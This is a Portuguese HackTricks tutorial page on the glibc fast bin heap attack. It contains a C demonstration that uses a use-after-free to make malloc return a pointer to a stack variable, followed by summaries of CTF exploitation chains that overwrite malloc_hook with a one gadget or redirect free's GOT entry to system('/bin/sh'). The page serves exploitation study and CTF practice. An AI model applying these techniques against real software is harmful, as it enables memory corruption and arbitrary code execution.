hacktricks/binary-exploitation/heap/fast-bin-attack.md

# Ataque Fast Bin

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## Informação Básica

Para mais informações sobre o que é um fast bin, consulte esta página:

{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}

Como o fast bin é encadeado simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar posteriormente um chunk em qualquer endereço de memória**.

Em resumo:

{% code overflow="wrap" %}
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
{% endcode %}

Você pode encontrar um exemplo completo em um código muito bem explicado em [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
{% hint style="danger" %}
Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar fast bin de tamanhos maiores, potencialmente permitindo realizar ataques fast bin em cenários onde anteriormente não era possível.
{% endhint %}

## Exemplos

* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* É possível alocar chunks, liberá-los, ler seus conteúdos e preenchê-los (com uma vulnerabilidade de overflow).
* **Consolidar chunk para infoleak**: A técnica consiste basicamente em abusar do overflow para criar um fake prev\_size para que um chunk anterior seja colocado dentro de um maior, de modo que ao alocar o maior contendo outro chunk, seja possível imprimir seus dados e vazar um endereço para libc (main\_arena+88).
* **Sobrescrever o hook do malloc**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks apontando para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções), foi possível ter o mesmo chunk no fast bin 2 vezes. Em seguida, foi possível alocá-lo novamente, sobrescrever o endereço para o próximo chunk para apontar um pouco antes do malloc\_hook (para que aponte para um inteiro que o malloc pensa ser um tamanho livre - outra forma de bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para os hooks do malloc.\
Finalmente, um **one gadget** foi escrito lá.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* Há um heap overflow e user after free e double free porque quando um chunk é liberado é possível reutilizar e liberar novamente os ponteiros.
* **Vazamento de informações do libc**: Basta liberar alguns chunks e eles receberão um ponteiro para uma parte da localização da main arena. Como é possível reutilizar ponteiros liberados, basta ler este endereço.
* **Ataque fast bin**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks fast bin e no último sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Em seguida, alocar alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever estes ponteiros de alocação para apontar para o endereço got de `free` para apontar para o sistema e então escrever o chunk 1 `"/bin/sh"` para então `free(chunk1)` o que executará `system("/bin/sh")`.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um vazamento de informações do libc e então realizar um ataque fast bin para sobrescrever o hook do malloc com um endereço de one gadget.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* Após um vazamento de informações abusando do unsorted bin com um UAF para vazar um endereço do libc e um endereço do PIE, a exploração deste CTF usou um ataque fast bin para alocar um chunk em um local onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
* Você pode encontrar um ataque Fast Bin abusado através de um ataque unsorted bin:
* Note que é comum antes de realizar ataques fast bin abusar da lista unliked para vazar endereços do libc/heap (quando necessário).

{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}

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